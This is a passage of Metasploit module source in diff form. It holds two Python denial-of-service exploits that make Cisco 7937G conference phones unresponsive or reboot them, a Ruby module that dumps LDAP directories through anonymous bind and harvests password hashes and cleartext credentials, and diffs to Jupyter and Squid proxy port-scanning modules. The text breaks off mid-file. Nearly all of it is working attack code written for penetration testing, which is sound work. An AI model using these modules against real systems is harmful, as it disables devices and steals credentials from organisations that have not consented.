dependency1_missing = True
|
||||
try:
|
||||
import paramiko
|
||||
except ImportError:
|
||||
dependency2_missing = True
|
||||
|
||||
|
||||
metadata = {
|
||||
'name': 'Cisco 7937G Denial-of-Service Attack',
|
||||
'description': '''
|
||||
This module exploits a bug in how the conference station
|
||||
handles incoming SSH connections that provide an incompatible
|
||||
key exchange. By connecting with an incompatible key exchange,
|
||||
the device becomes nonresponsive until it is manually power
|
||||
cycled.
|
||||
''',
|
||||
'authors': [
|
||||
'Cody Martin'
|
||||
# Author Homepage: debifrank.github.io
|
||||
# Organization: BlackLanternSecurity
|
||||
# Org. Homepage: BlackLanternSecurity.com
|
||||
],
|
||||
'date': '2020-06-02',
|
||||
'license': 'GPL_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},
|
||||
{'type': 'cve', 'ref': '2020-16138'}
|
||||
],
|
||||
'type': 'dos',
|
||||
'options': {
|
||||
'rhost': {'type': 'address',
|
||||
'description': 'Target address',
|
||||
'required': True,
|
||||
'default': 'None'},
|
||||
'timeout': {'type': 'int',
|
||||
'description':
|
||||
'Timeout in seconds',
|
||||
'required': True,
|
||||
'default': 15}
|
||||
}
|
||||
}
|
||||
|
||||
# from modules/auxiliary/dos/http/slowloris.py
|
||||
def create_rand_cred(size, seq=string.ascii_uppercase + string.ascii_lowercase):
|
||||
return ''.join(random.choice(seq) for _ in range(size))
|
||||
|
||||
def run(args):
|
||||
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
|
||||
if dependency1_missing:
|
||||
logging.error('Python module dependency (socket) is missing, cannot continue')
|
||||
logging.error('Please execute pip3 install socket.')
|
||||
return
|
||||
if dependency2_missing:
|
||||
logging.error('Python module dependency (paramiko) is missing, cannot continue')
|
||||
logging.error('Please execute pip3 install paramiko.')
|
||||
return
|
||||
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.settimeout(int(args['timeout']))
|
||||
try:
|
||||
sock.connect((args['rhost'], 22))
|
||||
except OSError:
|
||||
logging.error("Device doesn't appear to be functioning (already DoS'd?) or SSH is not enabled.")
|
||||
return
|
||||
|
||||
transport = paramiko.Transport(sock=sock, disabled_algorithms={"kex": ["diffie-hellman-group-exchange-sha1",
|
||||
"diffie-hellman-group14-sha1",
|
||||
"diffie-hellman-group1-sha1"]})
|
||||
ssh_uname = create_rand_cred(random.randint(7, 10))
|
||||
ssh_pass = create_rand_cred(random.randint(7, 10))
|
||||
try:
|
||||
transport.connect(username=ssh_uname, password=ssh_pass)
|
||||
except (paramiko.ssh_exception.SSHException, OSError, paramiko.SSHException):
|
||||
logging.info("DoS non-reset attack completed!")
|
||||
logging.info("Errors are intended.")
|
||||
logging.info("Device must be power cycled to restore functionality.")
|
||||
return
|
||||
|
||||
return
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
||||
+89
@@ -0,0 +1,89 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
# standard modules
|
||||
from metasploit import module
|
||||
import logging
|
||||
|
||||
# extra modules
|
||||
requests_missing = False
|
||||
random_missing = False
|
||||
string_missing = False
|
||||
|
||||
try:
|
||||
import requests
|
||||
except ImportError:
|
||||
requests_missing = True
|
||||
try:
|
||||
import random
|
||||
except ImportError:
|
||||
random_missing = True
|
||||
try:
|
||||
import string
|
||||
except ImportError:
|
||||
string_missing = True
|
||||
|
||||
metadata = {
|
||||
'name': 'Cisco 7937G Denial-of-Service Reboot Attack',
|
||||
'description': '''
|
||||
This module exploits a bug in how the conference station handles
|
||||
executing a ping via its web interface. By repeatedly executing
|
||||
the ping function without clearing out the resulting output,
|
||||
a DoS is caused that will reset the device after a few minutes.
|
||||
''',
|
||||
'authors': [
|
||||
'Cody Martin'
|
||||
# Author Homepage: debifrank.github.io
|
||||
# Organization: BlackLanternSecurity
|
||||
# Org. Homepage: BlackLanternSecurity.com
|
||||
],
|
||||
'date': '2020-06-02',
|
||||
'license': 'GPL_LICENSE',
|
||||
'references': [
|
||||
{'type': 'url', 'ref': 'https://blacklanternsecurity.com/2020-08-07-Cisco-Unified-IP-Conference-Station-7937G/'},
|
||||
{'type': 'cve', 'ref': '2020-16139'}
|
||||
],
|
||||
'type': 'dos',
|
||||
'options': {
|
||||
'rhost': {'type': 'address',
|
||||
'description': 'Target address',
|
||||
'required': True,
|
||||
'default': 'None'}
|
||||
}
|
||||
}
|
||||
|
||||
def run(args):
|
||||
module.LogHandler.setup(msg_prefix='{} - '.format(args['rhost']))
|
||||
if requests_missing:
|
||||
logging.error('Required Python module dependency (requests) is missing.')
|
||||
logging.error('Please execute pip3 install requests.')
|
||||
return
|
||||
if random_missing:
|
||||
logging.error('Required Python module dependency (random) is missing.')
|
||||
logging.error('Please execute pip3 install random.')
|
||||
if string_missing:
|
||||
logging.error('Required Python module dependency (string) is missing.')
|
||||
logging.error('Please execute pip3 install string.')
|
||||
|
||||
url = "http://{}/localmenus.cgi".format(args['rhost'])
|
||||
data = ''.join(random.choice(string.ascii_letters) for i in range(46))
|
||||
payload = {"func": "609", "data": data, "rphl": "1"}
|
||||
logging.info("Sending POST requests triggering the PING function.")
|
||||
logging.info("Device should crash with a DoS shortly...")
|
||||
for i in range(1000):
|
||||
try:
|
||||
r = requests.post(url=url, params=payload, timeout=5)
|
||||
if r.status_code != 200:
|
||||
logging.error("Device doesn't appear to be functioning or web access is not enabled.")
|
||||
return
|
||||
except requests.exceptions.ReadTimeout as e:
|
||||
logging.info('DoS reset attack completed!')
|
||||
return
|
||||
except requests.exceptions.RequestException as e:
|
||||
logging.info('An unexpected exception occurred: ' + str(e))
|
||||
logging.info('The device may be DoS\'d already or not have web access enabled.')
|
||||
return
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
module.run(metadata, run)
|
||||
@@ -0,0 +1,396 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'metasploit/framework/hashes/identify'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::LDAP
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'LDAP Information Disclosure',
|
||||
'Description' => %q{
|
||||
This module uses an anonymous-bind LDAP connection to dump data from
|
||||
an LDAP server. Searching for attributes with user credentials
|
||||
(e.g. userPassword).
|
||||
},
|
||||
'Author' => [
|
||||
'Hynek Petrak' # Discovery, module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2020-3952'],
|
||||
['URL', 'https://www.vmware.com/security/advisories/VMSA-2020-0006.html']
|
||||
],
|
||||
'DisclosureDate' => '2020-07-23',
|
||||
'License' => MSF_LICENSE,
|
||||
'Actions' => [
|
||||
['Dump', 'Description' => 'Dump all LDAP data']
|
||||
],
|
||||
'DefaultAction' => 'Dump',
|
||||
'DefaultOptions' => {
|
||||
'SSL' => true
|
||||
},
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(636), # SSL/TLS
|
||||
OptInt.new('MAX_LOOT', [false, 'Maximum number of LDAP entries to loot', nil]),
|
||||
OptInt.new('READ_TIMEOUT', [false, 'LDAP read timeout in seconds', 600]),
|
||||
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),
|
||||
OptString.new('USER_ATTR', [false, 'LDAP attribute(s), that contains username', 'dn']),
|
||||
OptString.new('PASS_ATTR', [
|
||||
true, 'LDAP attribute, that contains password hashes',
|
||||
'userPassword, sambantpassword, sambalmpassword, mailuserpassword, password, pwdhistory, passwordhistory, clearpassword'
|
||||
# Other potential candidates:
|
||||
# ipanthash, krbpwdhistory, krbmkey, userpkcs12, unixUserPassword, krbprincipalkey, radiustunnelpassword, sambapasswordhistory
|
||||
])
|
||||
])
|
||||
end
|
||||
|
||||
def user_attr
|
||||
@user_attr ||= 'dn'
|
||||
end
|
||||
|
||||
def print_ldap_error(ldap)
|
||||
opres = ldap.get_operation_result
|
||||
msg = "LDAP error #{opres.code}: #{opres.message}"
|
||||
unless opres.error_message.to_s.empty?
|
||||
msg += " - #{opres.error_message}"
|
||||
end
|
||||
print_error("#{peer} #{msg}")
|
||||
end
|
||||
|
||||
# PoC using ldapsearch(1):
|
||||
#
|
||||
# Retrieve root DSE with base DN:
|
||||
# ldapsearch -xb "" -s base -H ldap://[redacted]
|
||||
#
|
||||
# Dump data using discovered base DN:
|
||||
# ldapsearch -xb bind_dn -H ldap://[redacted] \* + -
|
||||
def run_host(ip)
|
||||
@rhost = ip
|
||||
|
||||
@read_timeout = datastore['READ_TIMEOUT'] || 600
|
||||
|
||||
entries_returned = 0
|
||||
|
||||
print_status("#{peer} Connecting...")
|
||||
ldap_new do |ldap|
|
||||
if ldap.get_operation_result.code == 0
|
||||
vprint_status("#{peer} LDAP connection established")
|
||||
else
|
||||
# Even if we get "Invalid credentials" error, we may proceed with anonymous bind
|
||||
print_ldap_error(ldap)
|
||||
end
|
||||
|
||||
if (base_dn_tmp = datastore['BASE_DN'])
|
||||
vprint_status("#{peer} User-specified base DN: #{base_dn_tmp}")
|
||||
naming_contexts = [base_dn_tmp]
|
||||
else
|
||||
vprint_status("#{peer} Discovering base DN(s) automatically")
|
||||
|
||||
begin
|
||||
# HACK: fix lack of read/write timeout in Net::LDAP
|
||||
Timeout.timeout(@read_timeout) do
|
||||
naming_contexts = get_naming_contexts(ldap)
|
||||
end
|
||||
rescue Timeout::Error
|
||||
fail_with(Failure::TimeoutExpired, 'The timeout expired while reading naming contexts')
|
||||
ensure
|
||||
unless ldap.get_operation_result.code == 0
|
||||
print_ldap_error(ldap)
|
||||
end
|
||||
end
|
||||
|
||||
if naming_contexts.nil? || naming_contexts.empty?
|
||||
vprint_warning("#{peer} Falling back to an empty base DN")
|
||||
naming_contexts = ['']
|
||||
end
|
||||
end
|
||||
|
||||
@max_loot = datastore['MAX_LOOT']
|
||||
|
||||
@user_attr ||= datastore['USER_ATTR']
|
||||
@user_attr ||= 'dn'
|
||||
vprint_status("#{peer} Taking '#{@user_attr}' attribute as username")
|
||||
|
||||
pass_attr ||= datastore['PASS_ATTR']
|
||||
@pass_attr_array = pass_attr.split(/[,\s]+/).compact.reject(&:empty?).map(&:downcase)
|
||||
|
||||
# Dump root DSE for useful information, e.g. dir admin
|
||||
if @max_loot.nil? || (@max_loot > 0)
|
||||
print_status("#{peer} Dumping data for root DSE")
|
||||
|
||||
ldap_search(ldap, 'root DSE', {
|
||||
ignore_server_caps: true,
|
||||
scope: Net::LDAP::SearchScope_BaseObject
|
||||
})
|
||||
end
|
||||
|
||||
naming_contexts.each do |base_dn|
|
||||
print_status("#{peer} Searching base DN='#{base_dn}'")
|
||||
entries_returned += ldap_search(ldap, base_dn, {
|
||||
base: base_dn
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
# Safe if server did not returned anything
|
||||
unless (entries_returned > 0)
|
||||
fail_with(Failure::NotVulnerable, 'Server did not return any data, seems to be safe')
|
||||
end
|
||||
rescue Timeout::Error
|
||||
fail_with(Failure::TimeoutExpired, 'The timeout expired while searching directory')
|
||||
rescue Net::LDAP::PDU::Error, Net::BER::BerError, Net::LDAP::Error, NoMethodError => e
|
||||
fail_with(Failure::UnexpectedReply, "Exception occurred: #{e.class}: #{e.message}")
|
||||
end
|
||||
|
||||
def ldap_search(ldap, base_dn, args)
|
||||
entries_returned = 0
|
||||
creds_found = 0
|
||||
def_args = {
|
||||
base: '',
|
||||
return_result: false,
|
||||
attributes: %w[* + -]
|
||||
}
|
||||
Tempfile.create do |f|
|
||||
f.write("# LDIF dump of #{peer}, base DN='#{base_dn}'\n")
|
||||
f.write("\n")
|
||||
begin
|
||||
# HACK: fix lack of read/write timeout in Net::LDAP
|
||||
Timeout.timeout(@read_timeout) do
|
||||
ldap.search(def_args.merge(args)) do |entry|
|
||||
entries_returned += 1
|
||||
if @max_loot.nil? || (entries_returned <= @max_loot)
|
||||
f.write("# #{entry.dn}\n")
|
||||
f.write(entry.to_ldif.force_encoding('utf-8'))
|
||||
f.write("\n")
|
||||
end
|
||||
@pass_attr_array.each do |attr|
|
||||
if entry[attr].any?
|
||||
creds_found += process_hash(entry, attr)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
rescue Timeout::Error
|
||||
print_error("#{peer} Host timeout reached while searching '#{base_dn}'")
|
||||
return entries_returned
|
||||
ensure
|
||||
unless ldap.get_operation_result.code == 0
|
||||
print_ldap_error(ldap)
|
||||
end
|
||||
if entries_returned > 0
|
||||
print_status("#{peer} #{entries_returned} entries, #{creds_found} creds found in '#{base_dn}'.")
|
||||
f.rewind
|
||||
pillage(f.read, base_dn)
|
||||
elsif ldap.get_operation_result.code == 0
|
||||
print_error("#{peer} No entries returned for '#{base_dn}'.")
|
||||
end
|
||||
end
|
||||
end
|
||||
entries_returned
|
||||
end
|
||||
|
||||
def pillage(ldif, base_dn)
|
||||
vprint_status("#{peer} Storing LDAP data for base DN='#{base_dn}' in loot")
|
||||
|
||||
ltype = base_dn.clone
|
||||
ltype.gsub!(/ /, '_')
|
||||
ltype.gsub!(/,/, '.')
|
||||
ltype.gsub!(/(ou=|fn=|cn=|o=|dc=|c=)/i, '')
|
||||
ltype.gsub!(/[^a-z0-9\.\_\-]+/i, '')
|
||||
ltype = ltype.last(16)
|
||||
|
||||
ldif_filename = store_loot(
|
||||
ltype, # ltype
|
||||
'text/plain', # ctype
|
||||
@rhost, # host
|
||||
ldif, # data
|
||||
nil, # filename
|
||||
"Base DN: #{base_dn}" # info
|
||||
)
|
||||
|
||||
unless ldif_filename
|
||||
print_error("#{peer} Could not store LDAP data in loot")
|
||||
return
|
||||
end
|
||||
|
||||
print_good("#{peer} Saved LDAP data to #{ldif_filename}")
|
||||
|
||||
end
|
||||
|
||||
def decode_pwdhistory(hash)
|
||||
# https://ldapwiki.com/wiki/PwdHistory
|
||||
parts = hash.split('#', 4)
|
||||
unless parts.length == 4
|
||||
return hash
|
||||
end
|
||||
|
||||
hash = parts.last
|
||||
unless hash.starts_with?('{')
|
||||
decoded = Base64.decode64(hash)
|
||||
if decoded.starts_with?('{') || (decoded =~ /[^[:print:]]/).nil?
|
||||
return decoded
|
||||
end
|
||||
end
|
||||
hash
|
||||
end
|
||||
|
||||
def process_hash(entry, attr)
|
||||
service_details = {
|
||||
workspace_id: myworkspace_id,
|
||||
module_fullname: fullname,
|
||||
origin_type: :service,
|
||||
address: @rhost,
|
||||
port: rport,
|
||||
protocol: 'tcp',
|
||||
service_name: 'ldap'
|
||||
}
|
||||
|
||||
creds_found = 0
|
||||
|
||||
# This is the "username"
|
||||
dn = entry[@user_attr].first # .dn
|
||||
|
||||
entry[attr].each do |hash|
|
||||
if attr == 'pwdhistory'
|
||||
hash = decode_pwdhistory(hash)
|
||||
end
|
||||
|
||||
# 20170619183528ZHASHVALUE
|
||||
if attr == 'passwordhistory' && hash.start_with?(/\d{14}Z/i)
|
||||
hash.slice!(/\d{14}Z/i)
|
||||
end
|
||||
|
||||
# Cases *[crypt}, !{crypt} ...
|
||||
hash.gsub!(/.?{crypt}/i, '{crypt}')
|
||||
|
||||
# We observe some servers base64 encdode the hash string
|
||||
# and add {crypt} prefix to the base64 encoded value
|
||||
# e2NyeXB0f in base64 means {crypt
|
||||
# e3NtZD is {smd
|
||||
if hash.starts_with?(/{crypt}(e2NyeXB0f|e3NtZD)/)
|
||||
begin
|
||||
hash = Base64.strict_decode64(hash.delete_prefix('{crypt}'))
|
||||
rescue ArgumentError
|
||||
nil
|
||||
end
|
||||
end
|
||||
|
||||
# Some have new lines at the end
|
||||
hash.chomp!
|
||||
|
||||
# Skip empty or invalid hashes, e.g. '{CRYPT}x', xxxx, ****
|
||||
if hash.nil? || hash.empty? ||
|
||||
(hash.start_with?(/{crypt}/i) && hash.length < 10) ||
|
||||
hash.start_with?('*****') ||
|
||||
hash.start_with?(/yyyyyy/i) ||
|
||||
hash == '*' ||
|
||||
# reject {SASL} pass-through
|
||||
hash =~ /{sasl}/i ||
|
||||
hash.start_with?(/xxxxx/i) ||
|
||||
(attr =~ /^samba(lm|nt)password$/ &&
|
||||
(hash.length != 32 ||
|
||||
hash =~ /^aad3b435b51404eeaad3b435b51404ee$/i ||
|
||||
hash =~ /^31d6cfe0d16ae931b73c59d7e0c089c0$/i)) ||
|
||||
# observed sambapassword history with either 56 or 64 zeros
|
||||
(attr == 'sambapasswordhistory' && hash =~ /^(0{64}|0{56})$/)
|
||||
next
|
||||
end
|
||||
|
||||
case attr
|
||||
when 'sambalmpassword'
|
||||
hash_format = 'lm'
|
||||
when 'sambantpassword'
|
||||
hash_format = 'nt'
|
||||
when 'sambapasswordhistory'
|
||||
# 795471346779677A336879366B654870 1F18DC5E346FDA5E335D9AE207C82CC9
|
||||
# where the left part is a salt and the right part is MD5(Salt+NTHash)
|
||||
# attribute value may contain multiple concatenated history entries
|
||||
# for john sort of 'md5($s.md4(unicode($p)))' - not tested
|
||||
hash_format = 'sambapasswordhistory'
|
||||
when 'krbprincipalkey'
|
||||
hash_format = 'krbprincipal'
|
||||
# TODO: krbprincipalkey is asn.1 encoded string. In case of vmware vcenter 6.7
|
||||
# it contains user password encrypted with (23) rc4-hmac and (18) aes256-cts-hmac-sha1-96:
|
||||
# https://github.com/vmware/lightwave/blob/d50d41edd1d9cb59e7b7cc1ad284b9e46bfa703d/vmdir/server/common/krbsrvutil.c#L480-L558
|
||||
# Salted with principal name:
|
||||
# https://github.com/vmware/lightwave/blob/c4ad5a67eedfefe683357bc53e08836170528383/vmdir/thirdparty/heimdal/krb5-crypto/salt.c#L133-L175
|
||||
# In the meantime, dump the base64 encoded value.
|
||||
hash = Base64.strict_encode64(hash)
|
||||
when 'userpkcs12'
|
||||
# if we get non printable chars, encode into base64
|
||||
if (hash =~ /[^[:print:]]/).nil?
|
||||
hash_format = 'pkcs12'
|
||||
else
|
||||
hash_format = 'pkcs12-base64'
|
||||
hash = Base64.strict_encode64(hash)
|
||||
end
|
||||
else
|
||||
if hash.start_with?(/{crypt}.?\$1\$/i)
|
||||
hash.gsub!(/{crypt}.{,2}\$1\$/i, '$1$')
|
||||
hash_format = 'md5crypt'
|
||||
elsif hash.start_with?(/{crypt}/i) && hash.length == 20
|
||||
# handle {crypt}traditional_crypt case, i.e. explicitly set the hash format
|
||||
hash.slice!(/{crypt}/i)
|
||||
hash_format = 'descrypt' # FIXME: what is the right jtr_hash - des,crypt or descrypt ?
|
||||
# identify_hash returns des,crypt, while JtR acceppts descrypt
|
||||
else
|
||||
# handle vcenter vmdir binary hash format
|
||||
if hash[0].ord == 1 && hash.length == 81
|
||||
_type, hash, salt = hash.unpack('CH128H32')
|
||||
hash = "$dynamic_82$#{hash}$HEX$#{salt}"
|
||||
else
|
||||
# Remove LDAP's {crypt} prefix from known hash types
|
||||
hash.gsub!(/{crypt}.{,2}(\$[0256][aby]?\$)/i, '\1')
|
||||
end
|
||||
hash_format = identify_hash(hash)
|
||||
end
|
||||
end
|
||||
|
||||
# higlight unresolved hashes
|
||||
hash_format = '{crypt}' if hash =~ /{crypt}/i
|
||||
|
||||
print_good("#{peer} Credentials (#{hash_format.empty? ? 'password' : hash_format}) found in #{attr}: #{dn}:#{hash}")
|
||||
|
||||
# known hash types should have been identified,
|
||||
# let's assume the rest are clear text passwords
|
||||
if hash_format.nil? || hash_format.empty?
|
||||
credential = create_credential(service_details.merge(
|
||||
username: dn,
|
||||
private_data: hash,
|
||||
private_type: :password
|
||||
))
|
||||
else
|
||||
credential = create_credential(service_details.merge(
|
||||
username: dn,
|
||||
private_data: hash,
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: hash_format
|
||||
))
|
||||
end
|
||||
|
||||
create_credential_login({
|
||||
core: credential,
|
||||
access_level: 'User',
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details))
|
||||
creds_found += 1
|
||||
end
|
||||
creds_found
|
||||
end
|
||||
|
||||
end
|
||||
@@ -105,7 +105,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def pillage(entries)
|
||||
# TODO: Make this more efficient?
|
||||
ldif = entries.map(&:to_ldif).join("\n")
|
||||
ldif = entries.map(&:to_ldif).map { |s| s.force_encoding('utf-8') }.join("\n")
|
||||
|
||||
print_status('Storing LDAP data in loot')
|
||||
|
||||
|
||||
@@ -48,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
destination = res.headers['Location'].split('?', 2)[0]
|
||||
return true if destination.end_with?(normalize_uri(target_uri.path, 'login'))
|
||||
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - The server responded with a redirect that did not match a known fingerprint")
|
||||
fail_with(Failure::UnexpectedReply, "The server responded with a redirect that did not match a known fingerprint")
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
@@ -56,11 +56,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, 'api')
|
||||
})
|
||||
version = res.get_json_document.dig('version')
|
||||
if version.nil?
|
||||
print_error "#{peer} - The server does not appear to be running Jupyter (failed to fetch the API version)"
|
||||
return
|
||||
end
|
||||
fail_with(Failure::Unreachable, 'Failed to fetch the Jupyter API version') if res.nil?
|
||||
|
||||
version = res&.get_json_document&.dig('version')
|
||||
fail_with(Failure::UnexpectedReply, 'Failed to fetch the Jupyter API version') if version.nil?
|
||||
|
||||
vprint_status "#{peer} - The server responded that it is running Jupyter version: #{version}"
|
||||
|
||||
unless requires_password?(ip)
|
||||
|
||||
@@ -15,119 +15,158 @@ class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Squid Proxy Port Scanner',
|
||||
'Description' => %q{
|
||||
A misconfigured Squid proxy can allow an attacker to make requests on his behalf.
|
||||
This may give the attacker information about devices that he cannot reach but the
|
||||
Squid proxy can. For example, an attacker can make requests for internal IP addresses
|
||||
against a misconfigured open Squid proxy exposed to the Internet, therefore performing
|
||||
an internal port scan. The error messages returned by the proxy are used to determine
|
||||
if the port is open or not.
|
||||
'Name' => 'Squid Proxy Port Scanner',
|
||||
'Description' => %q{
|
||||
A exposed Squid proxy will usually allow an attacker to make requests on
|
||||
their behalf. If misconfigured, this may give the attacker information
|
||||
about devices that they cannot normally reach. For example, an attacker
|
||||
may be able to make requests for internal IP addresses against an open
|
||||
Squid proxy exposed to the Internet, therefore performing a port scan
|
||||
against the internal network.
|
||||
|
||||
Many Squid proxies use custom error codes so your mileage may vary. The open_proxy
|
||||
module can be used to test for open proxies, though a Squid proxy does not have to be
|
||||
open in order to allow for pivoting (e.g. an Intranet Squid proxy which allows
|
||||
the attack to pivot to another part of the network).
|
||||
},
|
||||
'Author' => ['willis'],
|
||||
'References' =>
|
||||
The `auxiliary/scanner/http/open_proxy` module can be used to test for
|
||||
open proxies, though a Squid proxy does not have to be on the open
|
||||
Internet in order to allow for pivoting (e.g. an Intranet Squid proxy
|
||||
which allows the attack to pivot to another part of the internal
|
||||
network).
|
||||
|
||||
This module will not be able to scan network ranges or ports denied by
|
||||
Squid ACLs. Fortunately it is possible to detect whether a host was up
|
||||
and the port was closed, or if the request was blocked by an ACL, based
|
||||
on the response Squid gives. This feedback is provided to the user in
|
||||
meterpreter `VERBOSE` output, otherwise only open and permitted ports
|
||||
are printed.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'URL','http://wiki.squid-cache.org/SquidFaq/SecurityPitfalls'
|
||||
'willis', # Original meterpreter module
|
||||
'0x44434241' # Detection updates and documentation
|
||||
],
|
||||
|
||||
'License' => MSF_LICENSE
|
||||
'References' =>
|
||||
[
|
||||
'URL', 'http://wiki.squid-cache.org/SquidFaq/SecurityPitfalls'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('RANGE', [true, "IPs to scan through Squid proxy", '']),
|
||||
OptString.new('PORTS', [true, "Ports to scan; must be TCP", "21,80,139,443,445,1433,1521,1723,3389,8080,9100"]),
|
||||
OptBool.new('MANUAL_CHECK',[true,"Stop the scan if server seems to answer positively to every request",true]),
|
||||
OptString.new('CANARY_IP',[true,"The IP to check if the proxy always answers positively; the IP should not respond.","1.2.3.4"])
|
||||
])
|
||||
OptString.new('RANGE', [true, 'IPs to scan through Squid proxy', '']),
|
||||
OptString.new('PORTS', [true, 'Ports to scan; must be TCP', '21,80,139,443,445,1433,1521,1723,3389,8080,9100']),
|
||||
OptBool.new('MANUAL_CHECK', [true, 'Stop the scan if server seems to answer positively to every request', true]),
|
||||
OptString.new('CANARY_IP', [true, 'The IP to check if the proxy always answers positively; the IP should not respond.', '1.2.3.4'])
|
||||
]
|
||||
)
|
||||
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
|
||||
begin
|
||||
iplist = Rex::Socket::RangeWalker.new(datastore['RANGE'])
|
||||
dead = false
|
||||
portlist = Rex::Socket.portspec_crack(datastore['PORTS'])
|
||||
iplist = Rex::Socket::RangeWalker.new(datastore['RANGE'])
|
||||
portlist = Rex::Socket.portspec_crack(datastore['PORTS'])
|
||||
dead = false
|
||||
|
||||
if portlist.empty?
|
||||
raise Msf::OptionValidateError.new(['PORTS'])
|
||||
end
|
||||
if portlist.empty?
|
||||
raise Msf::OptionValidateError.new(['PORTS'])
|
||||
end
|
||||
|
||||
vprint_status("[#{rhost}] Verifying manual testing is not required...")
|
||||
vprint_status("[#{rhost}] Verifying manual testing is not required...")
|
||||
|
||||
manual = false
|
||||
# request a non-existent page first to make sure the server doesn't respond with a 200 to everything.
|
||||
res_test = send_request_cgi({
|
||||
'uri' => "http://#{datastore['CANARY_IP']}:80",
|
||||
'method' => 'GET',
|
||||
'data' => '',
|
||||
'version' => '1.0',
|
||||
'vhost' => ''
|
||||
}, 10)
|
||||
manual = false
|
||||
# request a non-existent page first to make sure the server doesn't respond with a 200 to everything.
|
||||
res_test = send_request_cgi({
|
||||
'uri' => "http://#{datastore['CANARY_IP']}:80",
|
||||
'method' => 'GET',
|
||||
'data' => '',
|
||||
'version' => '1.0',
|
||||
'vhost' => ''
|
||||
}, 10)
|
||||
|
||||
if res_test and res_test.body and (res_test.code == 200)
|
||||
print_error("#{rhost} likely answers positively to every request, check it manually.")
|
||||
print_error("\t\t Proceeding with the scan may increase false positives.")
|
||||
manual = true
|
||||
end
|
||||
if res_test && res_test.body && (res_test.code == 200)
|
||||
print_error("#{rhost} likely answers positively to every request, check it manually.")
|
||||
print_error("\t\t Proceeding with the scan may increase false positives.")
|
||||
manual = true
|
||||
end
|
||||
|
||||
iplist.each do |target|
|
||||
next if manual && datastore['MANUAL_CHECK']
|
||||
|
||||
iplist.each do |target|
|
||||
next if manual and datastore['MANUAL_CHECK']
|
||||
alive = nil
|
||||
|
||||
portlist.each do |port|
|
||||
next if dead
|
||||
portlist.each do |port|
|
||||
next if dead
|
||||
|
||||
vprint_status("[#{rhost}] Requesting #{target}:#{port}")
|
||||
if port == 443
|
||||
res = send_request_cgi({
|
||||
'uri' => "https://#{target}:#{port}",
|
||||
'method' => 'GET',
|
||||
'data' => '',
|
||||
'version' => '1.0',
|
||||
'vhost' => ''
|
||||
}, 10)
|
||||
else
|
||||
res = send_request_cgi({
|
||||
'uri' => "http://#{target}:#{port}",
|
||||
'method' => 'GET',
|
||||
'data' => '',
|
||||
'version' => '1.0',
|
||||
'vhost' => ''
|
||||
}, 10)
|
||||
end
|
||||
|
||||
if res && res.body
|
||||
# Look at the HTTP headers back from Squid first, for some easy error detection.
|
||||
if res.headers.key?('X-Squid-Error')
|
||||
case res.headers['X-Squid-Error']
|
||||
when /ERR_CONNECT_FAIL/
|
||||
# Usually a HTTP 503, page body can give some more information. Example:
|
||||
# <p id="sysmsg">The system returned: <i>(111) Connection refused</i></p>
|
||||
if res.body =~ /id="sysmsg".*Connection refused/
|
||||
if alive.nil?
|
||||
print_good("[#{rhost}] #{target} is alive.")
|
||||
alive = true
|
||||
end
|
||||
vprint_status("[#{rhost}] #{target} is alive but #{port} is closed.")
|
||||
elsif res.body =~ /id="sysmsg".*No route to host/
|
||||
dead = true
|
||||
print_error("[#{rhost}] No route to #{target}")
|
||||
end
|
||||
when /ERR_ACCESS_DENIED/
|
||||
# Indicates that the Squid ACLs do not allow connecting to this port.
|
||||
# See: https://wiki.squid-cache.org/SquidFaq/SquidAcl
|
||||
vprint_status("[#{rhost}] #{target}:#{port} likely blocked by ACL.")
|
||||
when /ERR_DNS_FAIL/
|
||||
# Squid could not resolve the destination hostname.
|
||||
dead = true
|
||||
print_error("[#{rhost}] Squid could not resolve '#{target}', try putting the IP in the RANGE parameter if known.")
|
||||
else
|
||||
print_error("[#{rhost}] #{target}:#{port} unknown Squid proxy error: '#{res.headers['X-Squid-Error']}' (HTTP #{res.code})")
|
||||
end
|
||||
next # Skip to next port if the host is not marked as dead
|
||||
end
|
||||
|
||||
# By this stage, we've likely got a good connection. Parsing the body might no longer be reasonable if the
|
||||
# destination port is not serving HTTP (eg: SSH), but we can derive information from the headers Squid
|
||||
# returns.
|
||||
if res.code.between?(300, 399)
|
||||
# We can be more verbose if we have a known redirect.
|
||||
